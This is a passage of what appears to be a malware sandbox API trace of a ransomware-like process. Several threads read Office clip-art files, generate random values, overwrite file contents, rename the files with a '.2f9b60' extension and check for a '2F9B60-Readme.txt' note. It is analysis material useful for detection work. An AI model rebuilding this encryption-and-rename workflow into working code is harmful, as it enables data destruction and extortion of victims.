_Format="%c%c" | out: _Dest="67") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa144, _Format="%c%c" | out: _Dest="c2") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa146, _Format="%c%c" | out: _Dest="dd") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa148, _Format="%c%c" | out: _Dest="68") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa14a, _Format="%c%c" | out: _Dest="cd") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa14c, _Format="%c%c" | out: _Dest="b3") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa14e, _Format="%c%c" | out: _Dest="22") returned 2 [0143.432] RtlInitAnsiString (in: DestinationString=0x280cfb88, SourceString="0ec9e8fd27acac3d8a43c9cc3f542b931567c2dd68cdb322" | out: DestinationString="0ec9e8fd27acac3d8a43c9cc3f542b931567c2dd68cdb322") [0143.432] RtlAnsiStringToUnicodeString (in: DestinationString=0x280cfb58, SourceString="0ec9e8fd27acac3d8a43c9cc3f542b931567c2dd68cdb322", AllocateDestinationString=1 | out: DestinationString="0ec9e8fd27acac3d8a43c9cc3f542b931567c2dd68cdb322") returned 0x0 [0143.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e640 [0143.433] RtlFreeAnsiString (AnsiString="0") [0143.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa120) returned 1 [0143.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262090) returned 1 [0143.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168120) returned 1 [0143.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff400) returned 1 [0143.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff430) returned 1 [0143.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff3d0) returned 1 [0143.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff3a0) returned 1 [0143.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c30) returned 1 [0143.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ef0) returned 1 [0143.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ad0) returned 1 [0143.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20507c30 [0143.434] wcscat (in: _Dest=0x20507c30, _Source="0ec9e8fd27ac" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\0ec9e8fd27ac") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\0ec9e8fd27ac" [0143.434] wcscat (in: _Dest=0x20507c30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\0ec9e8fd27ac.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\0ec9e8fd27ac.2f9b60" [0143.434] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\0ec9e8fd27ac.2f9b60", NtPathName=0x280cfb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\0ec9e8fd27ac.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d000 [0143.435] NtSetInformationFile (FileHandle=0x1cc8, IoStatusBlock=0x280cfbd0, FileInformation=0x2050d000, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d000) returned 1 [0146.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48040) returned 1 [0146.806] NtQueryInformationFile (in: FileHandle=0x1cc8, IoStatusBlock=0x280cfb98, FileInformation=0x280cfba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x280cfb98, FileInformation=0x280cfba8) returned 0x0 [0146.806] NtSetInformationFile (FileHandle=0x1cc8, IoStatusBlock=0x280cfb98, FileInformation=0x280cfba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507c30) returned 1 [0146.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e640) returned 1 [0146.836] FlushFileBuffers (hFile=0x1cc8) returned 1 [0146.895] CloseHandle (hObject=0x1cc8) returned 1 [0146.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b670 [0146.960] wcscpy (in: _Dest=0x1b86b670, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0146.960] wcscat (in: _Dest=0x1b86b670, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0146.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0146.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b670) returned 1 [0146.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c120) returned 1 Thread: id = 1768 os_tid = 0x179c [0132.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf")) returned 0x20 [0133.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF", dwFileAttributes=0x20) returned 1 [0134.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e04 [0137.078] GetFileSizeEx (in: hFile=0x1e04, lpFileSize=0x27c0fa00 | out: lpFileSize=0x27c0fa00*=56060) returned 1 [0137.078] SetFilePointerEx (in: hFile=0x1e04, liDistanceToMove=0xdaf8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.078] ReadFile (in: hFile=0x1e04, lpBuffer=0x27c0f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27c0f9c8, lpOverlapped=0x0 | out: lpBuffer=0x27c0f980*, lpNumberOfBytesRead=0x27c0f9c8*=0x4, lpOverlapped=0x0) returned 1 [0137.133] SetFilePointerEx (in: hFile=0x1e04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0137.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.134] NtQuerySystemTime (in: CurrentTime=0x27c0f8c0 | out: CurrentTime=0x27c0f8c0*=132462177423730000) returned 0x0 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x29ee02f [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x7db47140 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x4ec5da36 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x358ba824 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x1a1f3899 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x3b54398e [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x6d732a47 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x11a99f60 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x50a01c6e [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x33ec5ab0 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x33b7671e [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x376e1eb4 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x6f8de1bc [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x79e14d62 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x1c099c00 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x28188b24 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x75307c0 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x1382be6f [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x32025636 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x296bacb4 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x7c297442 [0137.134] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x11e663cd [0137.135] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x5000892f [0137.135] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x2e6d26d7 [0137.135] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x1cee737e [0137.135] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x433a4c06 [0137.135] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x31ddf871 [0137.135] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x574548b3 [0137.135] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x53f404b7 [0137.135] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x7d38c24e [0137.135] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x6e4d7b84 [0137.135] RtlRandomEx (in: Seed=0x27c0f8b0 | out: Seed=0x27c0f8b0) returned 0x27a08386 [0137.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a560 [0137.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0137.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0137.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0137.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20360910 [0137.144] SetFilePointerEx (in: hFile=0x1e04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.144] ReadFile (in: hFile=0x1e04, lpBuffer=0x20360910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27c0f920, lpOverlapped=0x0 | out: lpBuffer=0x20360910*, lpNumberOfBytesRead=0x27c0f920*=0x3c00, lpOverlapped=0x0) returned 1 [0137.170] SetFilePointerEx (in: hFile=0x1e04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97cb0 [0137.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420609b0 [0137.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203518d0 [0137.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0137.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0137.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420609b0) returned 1 [0137.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97cb0) returned 1 [0137.171] WriteFile (in: hFile=0x1e04, lpBuffer=0x203518d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27c0f920, lpOverlapped=0x0 | out: lpBuffer=0x203518d0*, lpNumberOfBytesWritten=0x27c0f920*=0x3c00, lpOverlapped=0x0) returned 1 [0137.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203518d0) returned 1 [0137.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20360910) returned 1 [0137.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050ded0 [0137.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97cb0 [0137.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420609b0 [0137.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0137.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0137.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050eef0 [0137.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0137.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0137.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0137.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420609b0) returned 1 [0137.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97cb0) returned 1 [0137.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1673a0 [0137.203] SetFilePointerEx (in: hFile=0x1e04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.203] WriteFile (in: hFile=0x1e04, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x27c0f9d0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x27c0f9d0*=0x10a, lpOverlapped=0x0) returned 1 [0137.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0137.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0137.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a290 [0137.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a290) returned 1 [0137.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0137.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a290 [0137.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0137.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0137.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0137.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0137.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ed30 [0137.210] sprintf (in: _Dest=0x1cd9ed30, _Format="%c%c" | out: _Dest="c7") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed32, _Format="%c%c" | out: _Dest="f0") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed34, _Format="%c%c" | out: _Dest="8b") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed36, _Format="%c%c" | out: _Dest="09") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed38, _Format="%c%c" | out: _Dest="30") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed3a, _Format="%c%c" | out: _Dest="f1") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed3c, _Format="%c%c" | out: _Dest="63") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed3e, _Format="%c%c" | out: _Dest="0d") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed40, _Format="%c%c" | out: _Dest="37") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed42, _Format="%c%c" | out: _Dest="93") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed44, _Format="%c%c" | out: _Dest="9c") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed46, _Format="%c%c" | out: _Dest="79") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed48, _Format="%c%c" | out: _Dest="9a") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed4a, _Format="%c%c" | out: _Dest="38") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed4c, _Format="%c%c" | out: _Dest="81") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed4e, _Format="%c%c" | out: _Dest="d3") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed50, _Format="%c%c" | out: _Dest="0e") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed52, _Format="%c%c" | out: _Dest="cd") returned 2 [0137.210] sprintf (in: _Dest=0x1cd9ed54, _Format="%c%c" | out: _Dest="7b") returned 2 [0137.211] sprintf (in: _Dest=0x1cd9ed56, _Format="%c%c" | out: _Dest="ad") returned 2 [0137.211] sprintf (in: _Dest=0x1cd9ed58, _Format="%c%c" | out: _Dest="e0") returned 2 [0137.211] sprintf (in: _Dest=0x1cd9ed5a, _Format="%c%c" | out: _Dest="24") returned 2 [0137.211] sprintf (in: _Dest=0x1cd9ed5c, _Format="%c%c" | out: _Dest="23") returned 2 [0137.211] sprintf (in: _Dest=0x1cd9ed5e, _Format="%c%c" | out: _Dest="95") returned 2 [0137.211] RtlInitAnsiString (in: DestinationString=0x27c0fa48, SourceString="c7f08b0930f1630d37939c799a3881d30ecd7bade0242395" | out: DestinationString="c7f08b0930f1630d37939c799a3881d30ecd7bade0242395") [0137.211] RtlAnsiStringToUnicodeString (in: DestinationString=0x27c0fa18, SourceString="c7f08b0930f1630d37939c799a3881d30ecd7bade0242395", AllocateDestinationString=1 | out: DestinationString="c7f08b0930f1630d37939c799a3881d30ecd7bade0242395") returned 0x0 [0137.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9400 [0137.211] RtlFreeAnsiString (AnsiString="c") [0137.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ed30) returned 1 [0137.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0137.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a290) returned 1 [0137.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0137.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0137.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0137.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ded0) returned 1 [0137.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0137.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a560) returned 1 [0137.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0137.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7adca0 [0137.212] wcscat (in: _Dest=0x1b7adca0, _Source="c7f08b0930f1" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c7f08b0930f1") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c7f08b0930f1" [0137.212] wcscat (in: _Dest=0x1b7adca0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c7f08b0930f1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c7f08b0930f1.2f9b60" [0137.212] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c7f08b0930f1.2f9b60", NtPathName=0x27c0f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c7f08b0930f1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c870 [0137.213] NtSetInformationFile (FileHandle=0x1e04, IoStatusBlock=0x27c0fa90, FileInformation=0x2050c870, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0137.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c870) returned 1 [0137.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecb5c0) returned 1 [0137.398] NtQueryInformationFile (in: FileHandle=0x1e04, IoStatusBlock=0x27c0fa58, FileInformation=0x27c0fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27c0fa58, FileInformation=0x27c0fa68) returned 0x0 [0137.398] NtSetInformationFile (FileHandle=0x1e04, IoStatusBlock=0x27c0fa58, FileInformation=0x27c0fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0137.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adca0) returned 1 [0137.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0137.402] FlushFileBuffers (hFile=0x1e04) returned 1 [0138.482] CloseHandle (hObject=0x1e04) returned 1 [0138.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86bdc0 [0138.509] wcscpy (in: _Dest=0x1b86bdc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0138.509] wcscat (in: _Dest=0x1b86bdc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0138.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0138.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bdc0) returned 1 [0138.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c090) returned 1 Thread: id = 1769 os_tid = 0x17a0 [0132.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf")) returned 0x20 [0133.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF", dwFileAttributes=0x20) returned 1 [0134.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dec [0137.292] GetFileSizeEx (in: hFile=0x1dec, lpFileSize=0x26edf6a0 | out: lpFileSize=0x26edf6a0*=12248) returned 1 [0137.293] SetFilePointerEx (in: hFile=0x1dec, liDistanceToMove=0x2fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.293] ReadFile (in: hFile=0x1dec, lpBuffer=0x26edf620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26edf668, lpOverlapped=0x0 | out: lpBuffer=0x26edf620*, lpNumberOfBytesRead=0x26edf668*=0x4, lpOverlapped=0x0) returned 1 [0137.302] SetFilePointerEx (in: hFile=0x1dec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7d0 [0137.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ded0 [0137.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0137.303] NtQuerySystemTime (in: CurrentTime=0x26edf560 | out: CurrentTime=0x26edf560*=132462177425446000) returned 0x0 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x788a8762 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x5840b3b0 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x1f40804a [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x31e36f9b [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x1a097831 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x787b10ed [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x5cef8b2 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x2cee1ff3 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x761d3b2d [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x257d7f86 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x506e2ee4 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x4bde2aa7 [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) returned 0x2e7a15ab [0137.303] RtlRandomEx (in: Seed=0x26edf550 | out: Seed=0x26edf550) 